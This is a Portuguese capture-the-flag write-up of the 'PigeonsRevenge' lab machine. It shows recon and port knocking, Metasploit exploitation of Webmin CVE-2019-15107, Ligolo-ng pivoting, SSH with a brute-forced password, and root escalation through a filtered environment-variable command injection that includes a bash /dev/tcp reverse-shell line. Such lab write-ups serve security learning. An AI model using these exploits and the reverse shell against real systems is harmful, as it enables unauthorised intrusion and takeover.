Como Punir um Pardal Digital: Resolvendo o Desafio PigeonsRevenge da ACLabs.pro
Este artigo detalha a jornada para resolver o desafio PigeonsRevenge da plataforma ACLabs.pro, uma tarefa que envolveu uma combinação de técnicas de reconhecimento, exploração de vulnerabilidades e escalada de privilégios.
Categoria: Web/Linux/Forensics/PrivEsc Dificuldade: Médio/Difícil (aproximadamente 70 de 100 'pombos')
O desafio fazia parte da 5ª temporada do CTF (Capture The Flag) hospedado na ACLabs. A máquina apresentava um cenário incomum com vulnerabilidades interessantes.
Condição do Desafio:
Boris é um pombo-correio veterano. Katya, sua amada, fugiu com um Pardal insolente. Após três dias de bebedeira, Boris elaborou um plano de vingança. Este plano agora está em suas mãos. Ajude Boris a infiltrar-se no ninho digital do Pardal, roubar sua conta e obter acesso root. Siga as anotações embriagadas – elas revelam tudo e mais.
Cadeia de Ataque:
A cadeia de ataque "PigeonsRevenge" combina uma CVE (Common Vulnerabilities and Exposures) crítica real (Webmin 1.910 – CVE-2019-15107, 9.8 CRITICAL) com um conjunto de técnicas clássicas ATT&CK: reconhecimento ativo → port knocking → exploração de aplicação pública → Metasploit reverse-shell → tunelamento Ligolo-ng → injeção através de variável de ambiente em um binário customizado → bypass de filtro com tabulação → persistência com privilégios root.
1. Reconhecimento
Primeiro, obtemos o endereço IP e escaneamos as portas:
bashsudo nmap -sC -sV -v 10.10.10.215
O resultado revela a porta 80 (HTTP) aberta, executando Nginx. Ao acessar o site, encontramos um vídeo e uma aba chamada “Plano de Vingança”. As outras abas são inativas e o código fonte não revela nada de interessante. Como não há outras portas abertas e o fuzzing inicial não retornou nada, focamos no “Plano de Vingança”.
O plano menciona brute force de senhas, scripting em Python e "bater na porta", indicando a técnica de port knocking. Baixamos o vídeo da página inicial e o analisamos com exiftool para encontrar pistas nos comentários:
bashexiftool video.mp4
O comentário revela: "Sparrow nest door code blyat' 2 8 10", sugerindo a sequência de portas para o port knocking.
Usamos o nmap para realizar o port knocking:
bashsudo nmap -Pn -p 2,8,10 10.10.10.215
Após o port knocking, um novo escaneamento revela a porta 10000 aberta:
bashsudo nmap -Pn -sV -v 10.10.10.215
A porta 10000 executa o Webmin, um painel de controle para servidores web. Acessando https://10.10.10.215:10000, chegamos à página de login do Webmin.
2. Exploração
As senhas mencionadas no “plano de vingança” não funcionaram. Buscamos por vulnerabilidades no Webmin 1.910 e encontramos a CVE-2019-15107.
O Metasploit possui um exploit para essa vulnerabilidade (webmin_backdoor) que não requer login nem senha. É crucial configurar a opção set ssl true para que o exploit funcione.
msf exploit(linux/http/webmin_backdoor) > set rhosts 10.10.10.215
rhosts => 10.10.10.215
msf exploit(linux/http/webmin_backdoor) > set ssl true
[!] Changing the SSL option's value may require changing RPORT!
ssl => true
msf exploit(linux/http/webmin_backdoor) > set lhost tun0
lhost => 10.20.10.3
msf exploit(linux/http/webmin_backdoor) > set srvhost tun0
srvhost => 10.20.10.3
msf exploit(linux/http/webmin_backdoor) > run
Após a execução do exploit, obtemos uma reverse shell como root.
id
uid=0(root) gid=0(root) groups=0(root)
Conseguimos acesso root ao container e lemos a primeira flag:
cat /flag1
flag_73b93510202e14edfc2d07087c2052d4
3. Escape do Container e Segundo Flag
Descobrimos o endereço IP interno do container:
ip a
Analisando o arquivo .bash_history do usuário root, encontramos tentativas de conexão SSH para o host 172.18.0.1 pelo usuário sparrow:
cat /root/.bash_history
ssh sparrow@172.18.0.1
Para acessar este host, utilizamos o Ligolo-ng para criar um túnel.
Primeiro, transferimos o agente Ligolo-ng para a máquina alvo e executamos o proxy no nosso host:
bashsudo ligolo-proxy -selfcert
No container, executamos o agente:
bash./ligolo-ng_agent_0.8.3_linux_amd64 -ignore-cert -connect 10.20.10.4:11601
Configuramos o túnel Ligolo-ng para rotear o tráfego para a rede interna:
ligolo-ng » session
? Specify a session : 1 - root@c14c20cf8e71 - 10.10.10.215:36806 - 0242ac120002
[Agent : root@c14c20cf8e71] » autoroute
? Select routes to add: 172.18.0.2/16
? Create a new interface or use an existing one? Create a new interface
? Enter interface name (leave empty for random name): pigeon
INFO[0527] Using custom interface name: pigeon
INFO[0527] Interface pigeon configured (will be created on tunnel start)
INFO[0527] Creating routes for pigeon...
? Start the tunnel? Yes
Com o túnel estabelecido, tentamos conectar via SSH como o usuário sparrow:
bashssh sparrow@172.18.0.1
Descobrimos a senha do usuário sparrow (KatyaMyQueen) através de brute force, conforme indicado no plano de vingança.
bashssh sparrow@172.18.0.1 sparrow@sparrow's password: KatyaMyQueen
Obtemos acesso ao sistema como o usuário sparrow e encontramos a segunda flag:
bashcat flag2 flag_8c3f96a510d78385bd8b8223bdfc17d2
4. Escalada de Privilégios e Flag Final
Verificamos os comandos que o usuário sparrow pode executar com privilégios sudo:
bashsudo -l
Descobrimos que o usuário sparrow pode executar o script /usr/bin/pigeon_root como root sem senha.
Analisamos o script com o Ghidra e identificamos que ele lê a variável de ambiente PIGEON_SEEDS e executa seu conteúdo como um comando. O script possui um filtro que substitui caracteres especiais por underscores.
Para contornar o filtro, utilizamos a tabulação como separador:
bashsudo PIGEON_SEEDS=$'cat\t/root/root' /usr/bin/pigeon_root --crumbs /root/root
Alternativamente, podemos criar um script com um reverse shell e executá-lo através do PIGEON_SEEDS:
bashecho '#!/bin/bash\nbash -i >& /dev/tcp/10.20.10.4/4444 0>&1' > /tmp/script.sh chmod +x /tmp/script.sh sudo PIGEON_SEEDS='/tmp/script.sh' /usr/bin/pigeon_root --crumbs /root/root
Em ambos os casos, obtemos acesso root e lemos a terceira flag:
bashcat /root/root flag_670a6e9beba41ca37d61b295a5ae06c4
Avaliação da CVE
| CVE | Produto/Componente | Tipo | CVSS 3.x | Criticidade | URL NVD |
|---|---|---|---|---|---|
| CVE-2019-15107 | Webmin ≤ 1.920 (1.910) | OS Command Injection / Backdoor em password_change.cgi | 9.8 | CRITICAL | https://nvd.nist.gov/vuln/detail/CVE-2019-15107 |
Conclusão
O desafio PigeonsRevenge foi uma experiência interessante que envolveu diversas técnicas de hacking. Apesar de não ser o desafio mais complexo, exigiu um bom entendimento de port knocking, exploração de vulnerabilidades web e escalada de privilégios.